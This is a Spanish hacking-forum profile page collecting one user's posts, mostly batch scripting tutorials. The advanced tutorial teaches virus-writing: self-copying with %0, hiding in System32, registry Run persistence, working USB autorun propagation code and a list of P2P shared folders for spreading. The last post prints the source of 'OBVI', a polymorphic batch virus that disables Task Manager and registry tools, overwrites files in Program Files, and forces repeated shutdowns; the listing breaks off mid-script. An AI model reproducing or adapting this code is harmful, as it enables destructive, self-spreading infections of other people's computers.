Menú

Mostrar Mensajes

Esta sección te permite ver todos los mensajes escritos por este usuario. Ten en cuenta que sólo puedes ver los mensajes escritos en zonas a las que tienes acceso en este momento.

Mostrar Mensajes Menú

Mensajes - ProcessKill

#1
Muy Bueno, gracias!
#2
Hacking / Re:APAgado remoto en UNA LAN !!
Junio 25, 2010, 04:30:02 PM
jajaja, yo lo hago todo el tiempo. Mi profesor de computacion se cree que es un virus (Que buen profesor de computacion tengo no?)
Un saludo bro!
#3
Me gusta!
Gracias por compartir
#4
Zona Webmaster / Re:Efecto Nieve by m3x1c0h4ck
Abril 13, 2010, 12:18:26 PM
Me gusto mucho!
se agradece
#5
Aver, mucho no entiendo de Perl, pero me interesa. Como podria utilzar este codigo amigo?
Te agredesco Mucho!
Gran aporte :D
#6
Exelente Tutorial. Lo dejo fijo para que no se pierda en el tiempo.
Saludos!
#7
[size=12]TUTORIAL DE PROGRAMACIÓN EN BATCH NIVEL AVANZADO BY: -KuTeR-[/size]

Buenas, amigos de zonehacking, aquí les traigo el esperado tutorial de programación de nivel avanzado en batch.Aprevecho este espacio para saludar a todos los miembros de la comunidad MaNdItOo,ShadinessDark y Geerk Lord.

Bueno empecemos, os voy a dar los contenidos de este tutotorial:

-Parametrización (Parámetro %0)
-For Avanzado
-Cifrado/Encriptado (Método de extracción de carácteres y sustitución de carácteres)
-MiniVirus
-%ERRORLEVEL%
-Propagación USB y P2P
-Despedida

[size=11]PARAMETRIZACIÓN[/size]

De este tema ya publiqué un tutorial, pero dejé para el final una de las utilidades más "útiles" (valga la redundacia) de batch, El parámetro %0.
Supongo que a todos o casi todos los que hayais pasado alguna vez por el mundo del batch se os ha ocurrido alguna vez que deberiais hacer si se os presenta el problema de no saber la ruta en la que estará en la victima (en un virus sobre todo) el batch que programasteis, pues como respuesta a vuestras alabanzas llega el parámetro "especial" %0. Como ya supondreis este comando representa al batch dentro del que está escrito, veamos un ejemplo:

copy %0 C:\Windows\System32 ¿Qué haría esto? Pues copiaría el batch que estamos programando a C:\Windows\System32
Facil ¿No?

[size=11]FOR AVANZADO[/size]

En el anterior tutorial (Tutorial de Programación en Batch Nivel Medio) os enseñé a usar el comando FOR para crear bucles finitos, pero esta vez os voy a enseñar la utilidad más avanzada de este comando: Procesar Archivos.
Esta vez el comando For, se acompaña del modificador /F, esta es la sintaxis

For /F opciones %%a in (archivos) do comandos Expliquemos:

/F: Modificador
opciones: "reglas" por las que se regirá for al procesar el archivo
%%a: variable
(archivos): archivos que se procesarán
comandos: comandos que se ejcutarán
Os doy las opciones:

EOL=x Indica que se procesen todas las líneas menos las que empiezan por esa letra
SKIP=x Indica la línea por la que se empezará a procesa, es decir si pongo Skip=5 las 5 primeras líneas no se procesarán
DELIMS=xxx Indica en que símbolo o letra acabrá de procesar for
TOKENS=x,y,z Indica las vueltas que serán validas.

Veamos un ejemplo:
Creamos un archivo .txt que contenga: y lo llamamos archivo.txt
asdf
Hola -
Adios-
Hasta luego-

y usemos For
For /F "DELIMS=- SKIP=1" %%a in (archivo.txt) do echo %%a
¿Esto que hará? Nos mostrará las líneas del archivo excepto la primera y acabará de procesar cada linea en -
por tanto nos mostrará Hola Adios Hasta Luego.
¿No es tan dificil no? :D

[size=11]CIFRADO/ENCRIPTADO EN BATCH[/size]

Bien, supongo que a nadie le gustará que haga una aplicación batch con contraseña como esta:

@echo off
echo Hola escribe la contraseña para entrar
set /p pass=
if pass=wenas (echo bien) else (echo mal)


Y el user la abra y vea claramente que la password es "wenas" ¿no?. Dirás, eso es facil de arreglar, lo compilo a .exe y ya está. Bueno pues sí me has pillado, pero eso sería demasiado facil, os voy a enseñar un método más "profesional". Si han leído mi tutorial anterior ya sabran usar la extracción de carácteres, pues esto se puede usar para encriptar, veamos un ejemplo:

@echo off
echo Hola escribe la contraseña para entrar
set /p password2=abcdefghijklmnopqrstvwxyz
set /p pass=
if %pass%=%password2:~21,1%%password2:~4,1%%password2:~13,1%%password2:~0,1%%password2:~18,1% (echo bien) else (echo mal)


Asi el código quedaría menos visible ¿verdad?. Dirás sí, pero cualquiera que conozca esta técnica me lo desencriptará sin problemas ¬¬..
Bueno, para eso esta la Sustitución de Carácteres:

%var:caracterequeseremplaza=caracterremplazador%

Aquí lo que haremos será susituir el primer caracter por el segundo y así se deberá poner el caracter remplazador en vez del remplazado, añadamoslo al code anterior:

@echo off
echo Hola escribe la contraseña para entrar
set /p password2=abcdefghijklmnopqrstvwxyz
set /p pass=
if %pass%=%password2:~21,1%%password2:~4,1%%password2:~13,1%%password2:~0,1%%password2:~18,1% (echo bien) else (echo mal)
%pass:a=4%

esto sustituiría las a de wenas por 4 es decir habría que poner wen4s en vez de wenas para que valiera.
Así ningun desalmado crackeará nuestros bats tan facilmente :D (esto es útil para hacer crackmes, ya publicaré alguno jeje :D)

[size=11]MINIVIRUS[/size]
Bien en esta sección explicaré algunos de los fundamentos que debe tener un virus o minivirus en batch (esto es lo mio jeje :D) Esta parte va dedicada a [size=8]Geek Lord [/size]jeje por su interes por el batch :D
Bueno empiezo explicando algunos fundamentos:
-Un buen virus debe copiarse a si mismo: Usando en famoso parámetro %0 se puede realizar esto :D, se debe copiar el virus a distintas carpetas en las que quede bien escondidos jeje :D
-Un virus puede saturar la memoria del ordenador: Por ejemplo creando infinitas carpetas en C: (comando for/goto)
-Un virus debe propagarse porlomenos por alguno de los métodos más conocidos, explicados más adelante
-Un virus debe ser ingenioso: Dejen volar su imaginación xd
-Un virus debe ser "cabroncete" perdonen la expresión xd: Debe hacer cosas que nadie sospeche que va ha hacer
-Un virus debe saber ocultarse: Es decir puede ocultarse en algunas carpetas con muchos archivos como por ejemplo System32 de Windows.
-Un virus debe agregarse al registro para iniciarse al principio o modificar algo de Windows xd: como por ejemplo la página de incio de Internet o el Fondo de Escritorio


Bueno no profundizo mucho este tema porque publicaré un tutorial sobre Virus en Batch.

[size=11]%ERRORLEVEL%[/size]

Esto es una Variable de Entorno que indica el nivel de error mostrado por un comando a su salida, supongo que no lo habrán entendido muy bien xd , bueno se lo explico de otra manera:
Todos los comandos al ser ejecutados devuelven un código en forma de 1 o 0, 0 si el comando ha sido ejecutado correctamente o 1 si ha habido algún error, Bien %errorlevel% lo que hace es indicar el código de error como dije antes jeje. Bueno esto se usa sobre todo junto con el comando if, para especificar que si un comando no ha sido ejecutado correctamente se ejecute una acción, en esto no profundizaré ya que ni yo lo entiendo demasiado bien jeje pronto publicaré otro tuto con esto.

[size=11]PROPAGACIÓN P2P Y USB[/size]

Uno de los fundamentos principales de los virus como vimos anteriormente es la propagación, ya sea a través de los clientes/servidores P2P o los Puertos USB. Antes de nada explicaré que significa esto de propagación. Cuando un virus se propaga, se extiende desde unos ordenadores a otros, esto es la propagación. Como diría Jack el Destripador, vayamos por partes xd:
P2P: Esto tipo de propagación consiste en la reproducción de un virus a través de las redes Peer to Peer (P2P) como eMule, Ares,BitTorrent etc..
Es simple, solamente hay que copiar el virus a las diferentes carpetas de los clientes P2P con diferentes nombres: Os dejo las carpetas:

C:\Archivos de programa\Grokster\My Grokster\
C:\Archivos de programa\Morpheus\My Shared Folder\
C:\Archivos de programa\ICQ\shared files\
C:\Archivos de programa\KaZaA\My Shared Folder\
C:\Archivos de programa\KaZaA Lite\My Shared Folder\
C:\Archivos de programa\EDONKEY2000\incoming\
C:\Archivos de programa\eMule\Incoming\
C:\Archivos de programa\Filetopia3\Files\
C:\Archivos de programa\appleJuice\incoming\
C:\Archivos de programa\Gnucleus\Downloads\
C:\Archivos de programa\LimeWire\Shared\
C:\Archivos de programa\Overnet\incoming\
C:\Archivos de programa\Shareaza\Downloads\
C:\Archivos de programa\Swaptor\Download\
C:\Archivos de programa\WinMX\My Shared Folder\
C:\Archivos de programa\Tesla\Files\
C:\Archivos de programa\XoloX\Downloads\
C:\Archivos de programa\Rapigator\Share\
C:\Archivos de programa\KMD\My Shared Folder\
C:\Archivos de programa\BearShare\Shared\
C:\Archivos de programa\Direct Connect\Received Files\

Simplemente copia el virus a estas Carpetas con nombres distintos

USB: Esto es más complicado que lo anterior, bien lo que debemos hacer es dentro del virus crear en la unidad USB, un archivo .inf con el siguiente contenido:
[AutoRun]
Open=archivo.bat
action=Abrir Pendrive
Icon= icono.ico
shellexecute=/archivo.bat
Además deberemos adjuntar el icono si lo hay. Os dejo un código para hacerlo más fácil:
:if
if exist E: call :autorun E
if exist F: call :autorun F
if exist G: call :autorun G
if exist H: call :autorun H
if exist I: call :autorun I
if exist J: call :autorun J
if exist K: call :autorun K
goto:EOF

:autorun

copy 0% "%1\archivo.bat"
echo [AutoRun] >> "%1\Autorun.inf"
echo Open="archivo.bat" >> "1%\Autorun.inf"
echo action=Abrir Pendrive >> "%1\Autorun.inf"
echo shellexecute=/archivo.bat >> "%1\Autorun.inf"
goto:EOF


[size=11]DESPEDIDA[/size]

Bueno este es el último de mis tutoriales en lo que a programación batch en general se refiere, aunque seguiré publicando tutoriales sobre diferentes ramas del batch para especificar y adentrarnos más en ellos :D, espero que os hayan servido mis tutoriales,

Salu2 :D

Fuente: No tienes permitido ver los links. Registrarse o Entrar a mi cuenta
#8
[size=16]TUTORIAL DE PROGRAMACIÓN EN BATCH[/size]

Bueno aquí les traigo como les prometí el tutorial de batch de nivel medio, pensaba introducir la extracción de carácteres pero decidí darle un capítulo a parte ya que me prece muy interesante. Empiezo dando unos comandos básicos:

shutdown: apaga o reinicia el equipo Sintaxis:

shutdown -s -r -t tiempo -c mensaje

-s: apaga el equipo
-r reinicia el equipo
-t tiempo: tiempo en segundos en el que se apagará el equipo
-c: mensaje a mostrar

attrib: Sirve para modificar los permisos de los archivos Sintaxis:

attrib +/- Atributos Archivo

Atributos: Mirar en la cmd attrib /? hay que empezar a familiarizarse con el comando /? xd

+/- : + se usa para añadir un atributo y - para quitarlo.

Archivo: Archivo que queremos modificar

Assoc: Sirve para atribuir una extension diferente a u tipo de archivo Sintaxis:

assoc .extensionmodificada=batfile

Esto cambiaría la extension de los batch por .extensionmodificada

Para mirar los tipos de archivo ya sabeis assoc /?

For: El comando for es muy completo y se usa para dos cosas fundamentalmente: Para generar bucles y para procesar archivos. Aquí solo trataremos la primera opción y la otra la dejaremos para el tutorial avanzado
Sintaxis:

for /L %%a in (ini,paso,fin) do comando

%%a: variable en la que se almacenan los comandos
(ini,paso,fin): inicio, paso y fin del bucle por ejemplo: (0,1,10) esto empezaría en 0 iría de uno en uno y no pararía hasta llegar a 1o
comando: el comando a repetir por ejemplo cmd.exe. Si tomaramos como ejemplo el ini,paso,fin anterior abriría 10 cmd.exe

[size=13]Diseño en Batch[/size]

Esta parte va dedicada a mi bro MaNdItOo un buen diseñador :D

Bueno dirán, ¿Qué es esto de diseño en batch? ¿Acaso se puede diseñar en una pantalla negra con letras blancas?

Pues Sí!!

Empiezo dando algunos comandos básicos:

color: Cambia el color de fondo y de las letras de la cmd
color xx
el primer x hace referencia al color de fondo y el segundo al color de las letras. Ambos están simbolizados por números que se puedne ver poniendo en la cmd color /?
title: Cambia el título de la pantalla del cmd
title Título
mode con cols=x lines=x : Cambia el tamaño de la pantalla. Cols se refiere al alto de la pantalla y lines al ancho ambos van referidos con números.

[size=13]Creando Menus[/size]

En batch se pueden crear menús para hacer vuestras aplicaciones más vistosas.
Estos menús se crean con carácteres ASCII , dentro de poco subiré una lista de carácteres ASCII que cambian en la cmd para que creeis vuestros menus

Os dejo unos cuantos: É,È,Í,Ì,Ä,À,Á,

[size=13]Registro de Windows[/size]

Imaginaos que quereis hacer un virus y quereis que se ejecute siempre cuando se encienda el ordenador de la víctima, pues para eso se creo el comando reg
Con reg podreis crear,borrar,compara,exportar,importar etc claves de registro a vuestro antojo para poder hacer más potentes vuestros virus o simplemente para ejecutar vuestras aplicaciones al principio.
Extensiones de Reg
reg add: Añade una clave al registro
red del: borra una clave del registro
reg import: importa una clave al registro desde un archivo .reg
reg export: exporta una clave de registro hacia un archivo .txt por ejemplo
De momento solo vamos a ver estas aunque hay más

Iniciando con Windows una aplicación

Para esto se usa reg add y la sintaxis es la siguiente. (las comillas son muy importantes)

reg add "HKLM\Software\Microsoft\Windows\Current Version\Run" /v nombre /t REG_SZ /d rutaarchivo /f
en ombre y en ruta archivo van el nombre de la clave y la ruta del archivo que se quiere añadir.

para borrar una clave del registro se usa: reg del

reg del clave

[size=13]IF NOT E IF DEFINED[/size]

En el tutorial anterior os exliqué el uso del comando if, pero además de lo básico existen extensiones de este comando como son if not e if defined. Empezemos la casa por los cimientos

IF NOT: Con esto se indica que se ejecute un comando solo si la condición expecificada es falsa EJ:

IF NOT %var1%==%var2% (comando1) else (comando2)

Esto indica que el comando 1 se ejecute si %var1% no es igual a %var2% si sí lo es se ejecutara el comando 2

IF [NOT] Defined

Como ven a if defined se le puede añadir NOT para invertir es decir explicamos:

If not defined: La acción se ejecutará solo sí la variable expecificada no tiene valor definido
Ejemplo:

set /p var1=

si el usuario no da valor a esa variable debería volver al menu o mostrar un mensaje de error ¿no? Sería asi

if not defined %var1% (echo Error no has indicado valor para esta variable)

si el valor de la variable no es definido se mostrará el mensaje: Error no has indicado valor para esta variable.

[size=12]Otras "Curiosidades[/size]

si añades > nul despues de un comando el comando no mostrará información

Recomendación: Si quieres programar en batch necesitarás un compilador que te transforme los bat en exe y además que permita el modo Ghost es decir,que no se vea la pantallita del cmd.

Para salir de una etiqueta/bucle con goto se usa Goto:EOF

para dejar espacios visibles en el codigo se usa echo

Poner echo. en vez del simple echo te puede ahorrar disgustos xd

[size=11]DESPEDIDA[/size]

Bueno hasta aquí llega este tutorial os dejo una pista de lo que será el próximo tutorial
Tutorial de Programación en Batch By: -KuTeR-

-Parametrización
-For Avanzado
-Cifrado en Batch
-MiniVirus
-%ErrorLevel%
-Propagación USB y P2P

Y hasta aquí puedo Leer ;D

Salu2

Batch's Art By -KuTeR-

#9
Buenas :D
Aquí les traigo un tutorial básico de programación en batch hecho exclusivamente por mi. Mi objetivo es introducirlos al lenguaje de scripting batch que aunque parezca que no sirve de mucho les aseguro que es una gran alternativa para las personas con Windows en sus PCs y con interés por la programación:

[size=10]TUTORIAL DE PROGRAMACIÓN EN BATCH[/size]

[size=8]¿Qué es Batch?[/size]

Batch es un lenguaje de programación scripting que se usa en Windows a por medio de la Shell de Comandos también conocido como "Simbolo del Sistema".
Batch tiene como objetivo automatizar tareas en Windows entre otras cosas. Este lenguaje aunque parezca que es "inutil" tiene infinidad de usos, cada uno más interesante que el anterior, como la creación de virus, al antes nombrada automatización de tareas etc... A lo largo de este tutorial les enseñaré algunas nociones básicas sobre este lenguaje de Scripting. Bueno vallamos al lío ;D

[size=8]¿Que se necesita para aprender Batch?[/size]
El lenguaje batch es posiblemente uno de los lenguajes más sencillos de toda la programación. Para crear nuestros "pequeños" programas solo necesitamos del editor de texto más sencillo que existe en Windows, el Bloc de Notas o notepad. Después plantar el código de nuestro script en un bloc de notas lo que deberemos hacer es guardar el archivo con la extension .bat o .cmd y al ejecutarlos se mostrará la famosa pantallita del cmd.

[size=8]Comandos Básicos[/size]
A continuación les mostrare una lista con los comandos más utilizados en Batch, vamos allá ;D
@echo off: Esto se debe poner al principio de todo code, sirve para que al ejecutar nuestro script no se muestre la ruta de nuestro sistema ej: C:\Windows\System32\
echo: Este es uno de los comandos más básicos de batch, sirve para mostrar un texto en pantalla.
pause: Sirve para hacer una pausa en el programa, se puede poner acompañado por > nul o solo, la diferencia es que si se pone acompañado el programa no mostrará el texto: "Pulse una tecla para continuar..."
exit: Sirve para salir del programa. Se puede acompañar del parámetro /B si solo quieres salirte del programa, no de la cmd.
goto: Sirve para pasar de una parte a otra del programa que va provista por una etiqueta y un título, un ejemplo sería

:prueba
echo hola
goto prueba

Lo que haría esta muestra sería imprimir un texto en pantalla diciendo "hola", cada vez que se muestre goto prueba se redireccionará el programa hast la etiqueta :prueba.

if: Este comando es uno de los más usados en batch, sirve para comparar dos variables (se definirá la palabra variable más adelante) y ejecutar una accion dependiendo de si una condición es verdadera o falsa, puede ser un poco liosa pero lo vemos mejor con un ejemplo

echo Menu elije una opcion
echo 1 opcion 1
echo 2 opcion 2
echo 3 opcion 3
set /p %variable%=
if %variable%==1 (comando) else (comando2)
Esto significaría que si la variable (%variable%) es igual (==) a 1 (opcion 1) se ejecutaría un comando, sino (else) se ejecutaría otro comando

call: Sirve para llamar a una parte del programa precedida por ":" o a otro archivo .bat Ejemplo:

:hola

echo hola me llamo Pepe

call :hola (te llevaría hasta la etiqueta hola que seria igual a "me llamo pepe")

call archivo.bat

llamaría a archivo.bat que se ejecutaría.

start: Sirve para ejecutar un archivo sin depender de su extension, su sintaxis es básica: start rutadelarchivo\archivo.extension

[size=8]Variables[/size]
Las variables son muy usadas en batch para abreviar comandos, para definir valores dentro del programa, o incluso para crifrar.
La variable puede ser definida por el programador o por el usuario que ejecuta el programa, la sintaxis básica de una variable es:

set /p nombrevariable= (esta sería una variable que tendria que definir el usuario que ejecute el programa)
cuando se quiera llamar a la variable se deberá poner su nombre por ejemplo
set /p nombre= hola
echo %nombre% ( Esto imprimiría el contenido de la variable en pantalla, en este caso hola )

Si el propio programador quisiera definir una variable para abreviar por ejemplo debería poner esto:

set nombre=contenido

Existe otro tipo de variable que se encarga de realizar operaciones entre dos variables, por ejemplo

definimos dos variables:

set A=1
set B=2

set /a resultado=A+B Esto sumaría las variables A y B y lo almacenaria a su vez en la variable resultado de modo que si hacemos:

echo %resultado% nos saldría en pantalla 3

Para esto se usan los llamados operadores aritméticos, son:

+ = suma
- = resta
* = multiplicación
/ = división

[size=8]Redirecciones ¡Muy importantes![/size]

Las llamadas redirecciones se usan en batch para crear archivos de texto que pueden guardarse después con diferentes extensiones (por ejemplo .bat)
Para redireccionar se usan los símbolos > y >> , os explico la diferencia.
Veamoslo con un ejemplo
Queremos crear un archivo.txt con el contenido hola mundo, llevado al mundo de las redirecciones sería asi

echo hola mundo > archivo.txt
se habría creado un archivo llamado archivo.txt con el contenido "hola mundo". Pero imaginemonos que quieremos añadir más texto, diras facil!
echo más texto para el archivo > archivo.txt

pues no!! te pasaste de listo, si hicieras eso se sobreescribiría y en el archivo solo veriamos "más texto para el archivo"
para que esto no pase se usa >> veamos un ejemplo

echo más texto para el archivo >> archivo.txt
suponiendo que antes hubieramos escrito hola mundo el contenido del archivo sería:

hola mundo
más texto para el archivo

Existe otro tipo de redirección llamada multilínea en la que se agrupa todo el texto que queramos añadir en un parentesis y se pone al final > archivo.txt
Ejemplo:

echo(
echo hola mundo
echo más texto para el archivo ) > archivo.txt

[size=8]Tratamiento de Archivos[/size]
Esto es algo muy básico, vamos a tratar los comandos de tratamiento de archivos con los que podremos entre otras cosas borrar,mover copiar archivos crear,borrar carpetas etc...
Empecemos enumerando los comandos:

del: Borrar archivos, su sintaxis es básica = del /F /Q archivo Explicamos los parametros

/F: Sirve para forzar la eliminación de archivos.
/Q: Sirve para que el programa no pida confirmación para borrar, muy util para virus

move: Sirve para mover archivos de una caprte a otra, muy básico: move rutaarchivoamover rutaalaquemoverelarchivo
copy: Sirve para copiar archivos de una carpeta a otra : copy rutaarchivoacopiar rutaalaquecopiarelarchivo
md: crea carpetas: md rutacarpeta
rd: borra carpetas: rd /S /Q carpeta /S sirve para eliminar la carpeta con todas sus subcarpetas
dir: sirve para enumerar los archivos que hay en una carpeta: dir carpeta
format: sirve para formatear una unidad: format unidad
runas: sirve para inciar un programa como administrador: runas /user:Usuario programa

Asta aquí llega el trataminto de archivos

[size=8]Otros comandos y Despedida[/size]

Aqui llega una lista de comandos más avanzados que se explicarán más detalladamente en el tutorial de Batch de Nivel Medio

shutdown: apaga o reinicia el pc
attrib: modifica los atributos de los archivos
assoc: modifica las extensiones de los archivos
for: crea bucles y procesa archivos
color: cambia el color de la pantalla
title: cambia el título de la pantalla
mode con: modifica el tamaño de la pantalla

Bueno hasta aquí llega este tutorial me despido hasta el próximo que será:

Tutorial de Programación en Batch II Nivel Medio

Salu2

Añadido (2009-04-30, 10:51 Am)
---------------------------------------------
Bueno tutorial posteado :D a ver si la gente se interesa más por el batch

Salu2

Batch's Art By -KuTeR-

Fuente: No tienes permitido ver los links. Registrarse o Entrar a mi cuenta
#10
Batch - Bash / Función Lenght + efecto - by xassiz
Febrero 24, 2010, 05:15:34 PM


Título: Función Lenght + efecto
Temática: Strings
Autor: xassiz
Descripción: Muestra la longitud de una cadena introducida, y la muestra en vertical.
Funcionamiento: Pide una string, y llama a la etiqueta lenght para medirla con un contador. Luego crea una variable para cada caracter y los muestre verticalmente.

Código: php

@echo off
title Funcion Lenght + efecto  -  by xassiz!
setlocal enabledelayedexpansion
:main
(set txt=)
set/p "txt=String> "
if not defined txt (goto:main)
set/a cont=0
call :lenght
cls
echo."%txt%" mide %cont%
pause>nul
echo.
for /L %%_ in (1,1,%cont%) do (echo.!let[%%_]!)
echo.
pause>nul
exit
:lenght
set "var=!txt:~%cont%,1!"
if not defined var (goto:eof)
set/a cont+=1
set "let[%cont%]=%var%"
goto:lenght



Salida:
Código: php

String> me llamo xassiz

'se borra la pantalla

"me llamo xassiz" mide 15

'hace una pausa

m
e

l
l
a
m
o

x
a
s
s
i
z



Si hay dudas, preguntad ;)
#11
Batch - Bash / [batch-vbs] OBVI <BY: The Shadow>
Febrero 24, 2010, 05:15:19 PM
Código: php
@echo off
rem ----------------------------------------------------------------------
rem OBVI =================  .........   25/11/07
rem well it is a poliformic .bat file virus ... mmmmm is like another virus life form ... do not infect anything
rem only have fun with the victim xD ....
rem ...well nothing special but i think is really nice to see a poliformic batch script virus
rem enjoy!
rem OBVI (Oligomorphic Batch VIrus)
echo  ============================================
echo  |OBVI by Shadow (The Shadow) whatever way |
echo  ============================================
set a="%windir%\prntcrlt.bat"
if exist %a% goto code
echo set shell = CreateObject("wscript.shell") > %windir%\run.vbs
echo shell.run "cmd /c prntcrlt.bat", vbHide >> %windir%\run.vbs
copy %0 %a%
:qep
set hor=%time:~0,2%
set tim=%time:~3%
set tim=%tim:~0,2%
set /A tim=%tim% + 5
if /I %tim% geq 60 (set /a hor=%hor%+1
                    set /a tim=%tim%-60
                    if /I %tim% lss 10 (set tim=0%tim%))
set ecx=%hor%:%tim%
at %ecx% "%windir%\run.vbs"
exit
:crea
echo 0 > vals.tk
echo 1 >> vals.tk
echo 2 >> vals.tk
echo 3 >> vals.tk
echo 4 >> vals.tk
echo 5 >> vals.tk
echo 6 >> vals.tk
echo 7 >> vals.tk
echo 8 >> vals.tk
echo 9 >> vals.tk
echo A >> vals.tk
echo B >> vals.tk
echo C >> vals.tk
echo D >> vals.tk
echo E >> vals.tk
echo F >> vals.tk
goto for
:modulcrea
set tar=%tar:~,1%
if /I %tar% leq 9 ( if %tar% == 9 ( set tar2=A
                                    goto klop ) 
                    set /A tar2=%tar%+1 ) else ( if %tar% == A set tar2=B
                                                 if %tar% == B set tar2=C
                                                 if %tar% == C set tar2=D
                                                 if %tar% == D set tar2=E
                                                 if %tar% == E set tar2=F )
:klop
echo :modul%tar% ¿mol%tar%¿ >> modul.tk
if %tar%==0 ( echo reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v DisableTaskMgr /t Reg_dword /d 1 /f ¿mol%tar%¿ >> modul.tk
              echo reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v DisableRegistryTools /t Reg_dword /d 1 /f ¿mol%tar%¿ >> modul.tk
              echo goto ¿1_jk ¿mol%tar%¿ >> modul.tk
              echo goto modul%tar2% ¿mol%tar%¿ >> modul.tk   
              goto :EOF )
if %tar%==1 ( echo :_jk ¿mol%tar%¿ >> modul.tk
              echo copy "¿windir¿\kpore.bat" "¿windir¿\k0.bat" ¿mol%tar%¿ >> modul.tk
              echo reg add "HKLM\software\microsoft\windows\currentversion\policies\explorer\run" /V MSNupdate /d "%windir%\k0.vbs" /f ¿mol%tar%¿ >> modul.tk
              echo goto modul%tar2% ¿mol%tar%¿ >> modul.tk   
              goto :EOF )
if %tar%==2 ( echo echo set shell = CreateObject¡"wscript.shell"$ ^> %windir%\k0.vbs ¿mol%tar%¿ >> modul.tk
              echo echo shell.run "cmd /c k0.bat ini", vbHide ^>^> %windir%\k0.vbs ¿mol%tar%¿ >> modul.tk
      echo echo Set fg = CreateObject¡"WMPlayer.OCX.7"$ ^> conf.vbs ¿mol%tar%¿ >> modul.tk
              echo echo Set fgh = fg.cdromCollection ^>^> conf.vbs   ¿mol%tar%¿ >> modul.tk
              echo echo if fgh.Count  then ^>^> conf.vbs  ¿mol%tar%¿ >> modul.tk
              echo echo       For i = 0 to fgh.Count-1 ^>^> conf.vbs  ¿mol%tar%¿ >> modul.tk
              echo echo             fgh.Item¡i$.Eject ^>^> conf.vbs  ¿mol%tar%¿ >> modul.tk
              echo echo       Next   ' cdrom ^>^> conf.vbs  ¿mol%tar%¿ >> modul.tk
              echo echo End If ^>^> conf.vbs ¿mol%tar%¿ >> modul.tk
              echo goto modul%tar2% ¿mol%tar%¿ >> modul.tk   
              goto :EOF )
if %tar%==3 ( echo :ini_jk ¿mol%tar%¿ >> modul.tk
              echo start conf.vbs ¿mol%tar%¿ >> modul.tk
              echo set hor=¿time:~0,2¿ ¿mol%tar%¿ >> modul.tk
              echo set tim=¿time:~3¿ ¿mol%tar%¿ >> modul.tk
              echo set tim=¿tim:~0,2¿ ¿mol%tar%¿ >> modul.tk
              echo set /A tim=¿tim¿+1 ¿mol%tar%¿ >> modul.tk
              echo if /I ¿tim¿ geq 60 ¡set /a hor=¿hor¿+1 ¿mol%tar%¿ >> modul.tk
              echo                     set /a tim=¿tim¿-60 ¿mol%tar%¿ >> modul.tk
              echo                     if /I ¿tim¿ lss 10 ¡set tim=0¿tim¿$$ ¿mol%tar%¿ >> modul.tk
              echo set ecx=¿hor:~0,2¿:¿tim¿ ¿mol%tar%¿ >> modul.tk
              echo at ¿ecx¿ "¿windir¿\k0.vbs" ¿mol%tar%¿ >> modul.tk
              echo exit ¿mol%tar%¿ >> modul.tk
              echo goto modul%tar2% ¿mol%tar%¿ >> modul.tk   
              goto :EOF )
if %tar%==4 ( echo cd "¿programfiles¿" ¿mol%tar%¿ >> modul.tk
              echo dir /B ^> ¿homedrive¿\dir.txt ¿mol%tar%¿ >> modul.tk
              echo goto for ¿mol%tar%¿ >> modul.tk
              echo goto modul%tar2% ¿mol%tar%¿ >> modul.tk   
              goto :EOF )
if %tar%==5 ( echo reg add "HKLM\software\microsoft\windows\currentversion\policies\explorer\run" /V MSNupdate2 /d "shutdown -r -f -t 2423" /f ¿mol%tar%¿ >> modul.tk
              echo shutdown -r -f -t 242 ¿mol%tar%¿ >> modul.tk
              echo exit ¿mol%tar%¿ >> modul.tk
              echo goto modul%tar2% ¿mol%tar%¿ >> modul.tk   
              goto :EOF )
if %tar%==6 ( echo shutdown -r -f -t 12 ¿mol%tar%¿ >> modul.tk
              echo exit ¿mol%tar%¿ >> modul.tk
              echo goto modul%tar2% ¿mol%tar%¿ >> modul.tk   
              goto :EOF )
if %tar%==7 ( echo :worm ¿mol%tar%¿ >> modul.tk
              echo set target=¿1 ¿mol%tar%¿ >> modul.tk
              echo cd "¿target¿" ¿mol%tar%¿ >> modul.tk
              echo for ¿¿e in ¡*.*$ do echo Exworm by Shadow ^> ¿¿e ¿mol%tar%¿ >> modul.tk
              echo cd "¿programfiles¿" ¿mol%tar%¿ >> modul.tk
              echo goto :EOF ¿mol%tar%¿ >> modul.tk
              echo goto modul%tar2% ¿mol%tar%¿ >> modul.tk   
              goto :EOF )
if %tar%==8 ( echo shutdown -r -f -t 43 ¿mol%tar%¿ >> modul.tk
              echo exit ¿mol%tar%¿ >> modul.tk
              echo goto modul%tar2% ¿mol%tar%¿ >> modul.tk   
              goto :EOF )
if %tar%==9 ( echo :ERRNO ¿mol%tar%¿ >> modul.tk
              echo for /f "tokens=* " ¿¿a in ¡¿homedir¿\dir.txt$ do call :worm "¿¿a" ¿mol%tar%¿ >> modul.tk
              echo exit ¿mol%tar%¿ >> modul.tk
              echo goto modul%tar2% ¿mol%tar%¿ >> modul.tk   
              goto :EOF )
if %tar%==A ( echo shutdown -s -f -t 53 ¿mol%tar%¿ >> modul.tk
              echo exit ¿mol%tar%¿ >> modul.tk
              echo goto modul%tar2% ¿mol%tar%¿ >> modul.tk   
              goto :EOF )
if %tar%==B ( echo shutdown -s -f -t 22 ¿mol%tar%¿ >> modul.tk
              echo exit ¿mol%tar%¿ >> modul.tk
              echo goto modul%tar2% ¿mol%tar%¿ >> modul.tk   
              goto :EOF )
if %tar%==C ( echo shutdown -r -f -t 11 ¿mol%tar%¿ >> modul.tk
              echo exit ¿mol%tar%¿ >> modul.tk
              echo goto modul%tar2% ¿mol%tar%¿ >> modul.tk   
              goto :EOF )
if %tar%==D ( echo shutdown -r -f -t 666 ¿mol%tar%¿ >> modul.tk
              echo exit ¿mol%tar%¿ >> modul.tk
              echo goto modul%tar2% ¿mol%tar%¿ >> modul.tk   
              goto :EOF )
if %tar%==E ( echo shutdown -s -f -t 23 ¿mol%tar%¿ >> modul.tk
              echo exit ¿mol%tar%¿ >> modul.tk
              echo goto modul%tar2% ¿mol%tar%¿ >> modul.tk   
              goto :EOF )
if %tar%==F ( echo exit ¿mol%tar%¿ >> modul.tk
              goto :EOF )
:for
for /f "tokens=*" %%a in (vals.tk) do (set tar=%%a && call :modulcrea)
:sig
echo set shell = CreateObject("Scripting.FileSystemObject") > rep.vbs
echo set file = shell.OpenTextFile("modul.tk") >> rep.vbs
echo read = file.ReadAll >> rep.vbs
echo repla = replace(read,"¿",chr(37)) >> rep.vbs
echo repla1 = replace(repla,"¡",chr(40)) >> rep.vbs
echo repla2 = replace(repla1,"$",chr(41)) >> rep.vbs
echo set b=shell.CreateTextFile("module.tk") >> rep.vbs
